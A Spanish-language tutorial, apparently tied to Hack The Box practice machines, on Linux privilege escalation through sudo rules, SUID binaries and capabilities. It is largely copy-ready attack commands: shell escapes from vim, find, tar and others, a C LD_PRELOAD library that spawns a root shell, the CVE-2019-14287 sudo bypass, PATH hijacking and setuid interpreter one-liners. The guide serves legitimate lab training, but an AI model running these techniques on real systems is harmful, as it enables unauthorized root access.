Escalada en Linux: sudo, SUID y capabilities

Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.

· 4 min de lectura

Acabas de entrar como www-data o como un usuario normal. Antes de lanzar linPEAS y perderte en 2.000 líneas, revisa a mano estas tres cosas: en las máquinas de este catálogo, sudo es con diferencia la vía de root más frecuente.

sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

sudo -l

sudo -l te dice qué puedes ejecutar como otro usuario. Lee la salida con calma:

User alex may run the following commands on box:
    (root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
    (ALL, !root) /bin/bash
    (root) SETENV: /opt/scripts/backup.sh
    env_keep+=LD_PRELOAD

Un binario conocido

Si es un programa normal (vim, less, find, awk, tar, git, python...), búscalo en GTFOBins, sección Sudo. Casi todos permiten abrir una shell:

sudo vim -c ':!/bin/sh'
sudo less /etc/profile        # y dentro escribe  !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git -p help config       # y dentro  !/bin/sh

Truco

Aunque la regla fije los argumentos (/usr/bin/vim /etc/nginx/nginx.conf), una vez dentro de vim puedes ejecutar comandos igual. Lo que importa es si el programa permite escapar a una shell.

Un script propio

Si es un script (/opt/scripts/backup.sh), léelo entero y pregúntate:

  • ¿Puedo escribir en el script o en la carpeta donde está? Entonces cámbialo.
  • ¿Llama a programas sin ruta absoluta (tar en vez de /usr/bin/tar)? Si la regla tiene SETENV o no hay secure_path, pon tu propio tar delante en el PATH (path hijacking).
  • ¿Usa * con ficheros que controlas? Los comodines se convierten en opciones (--checkpoint-action=exec=... en tar).
  • ¿Importa una librería de Python o carga algo de una carpeta en la que puedes escribir?
  • ¿Compara con == sin comillas en bash ([[ $pass == $input ]])? Un * lo da por bueno y puedes sacar la contraseña carácter a carácter.

LD_PRELOAD

Si en la salida sale env_keep+=LD_PRELOAD, cualquier comando permitido te sirve. Compila una librería que abra una shell al cargarse:

// /tmp/x.c   ->   gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
#include <stdlib.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
sudo LD_PRELOAD=/tmp/x.so /usr/bin/lo_que_te_dejen

(ALL, !root)

La regla (ALL, !root) /bin/bash significa "como cualquiera menos root". En sudo anterior a 1.8.28, el usuario -1 se convierte en 0 (CVE-2019-14287):

sudo -u#-1 /bin/bash

Binarios SUID

Un binario con el bit SUID se ejecuta con los permisos de su dueño. Si el dueño es root y el programa te deja ejecutar algo, eres root.

find / -perm -4000 -type f -ls 2>/dev/null

Ignora los habituales (passwd, su, mount, sudo, chsh...) y fíjate en los raros: cosas en /opt, /usr/local/bin o programas que no deberían ser SUID (find, bash, python, vim, cp). Para estos, GTFOBins tiene una sección SUID:

./find . -exec /bin/sh -p \; -quit
/usr/bin/bash -p

Importante

El -p es clave. Sin él, bash y dash se quitan los privilegios al arrancar si el UID real y el efectivo no coinciden, y acabas otra vez como tu usuario.

SUID hecho a medida

Si es un binario propio, mira qué hace antes de lanzarte a reversing:

strings -n 6 /usr/local/bin/monitor
ltrace /usr/local/bin/monitor     # llamadas a librerías: system(), strcmp()...
strace -f -e trace=execve,openat /usr/local/bin/monitor

Si ves algo como system("service apache2 status"), el programa llama a service sin ruta:

cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > service && chmod +x service
PATH=/tmp:$PATH /usr/local/bin/monitor

Si lee o escribe ficheros, prueba con enlaces simbólicos. Si es un binario con una entrada mal controlada, ya entras en terreno de buffer overflow.

Capabilities

Las capabilities reparten los poderes de root en trozos. Un binario puede tener solo uno de ellos y, aun así, ser suficiente.

getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
Capability Abuso
cap_setuid Cambiar a UID 0 y abrir una shell
cap_dac_read_search Leer cualquier fichero (/etc/shadow, claves SSH de root)
cap_dac_override Escribir en cualquier fichero (/etc/passwd, /etc/sudoers)
cap_chown, cap_fowner Hacerte dueño de /etc/shadow o cambiarle los permisos
cap_sys_admin Montar sistemas de ficheros y mucho más; casi root
cap_sys_ptrace Inyectar código en un proceso de root
cap_net_raw Capturar tráfico (tcpdump): contraseñas en claro en la red local

Con cap_setuid en un intérprete:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Si nada de esto funciona

Sigue con lo siguiente más probable en este catálogo: tareas cron (vigílalas con pspy), credenciales en ficheros, reutilización de contraseñas, grupos como docker, lxd o disk, y servicios que solo escuchan en local (mira la guía de port forwarding).

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Abuso de sudo 61 máquinas

Ver las 61 máquinas →

Binarios SUID 16 máquinas

Ver las 16 máquinas →

Linux capabilities 4 máquinas

PATH hijacking 8 máquinas

Ver las 8 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo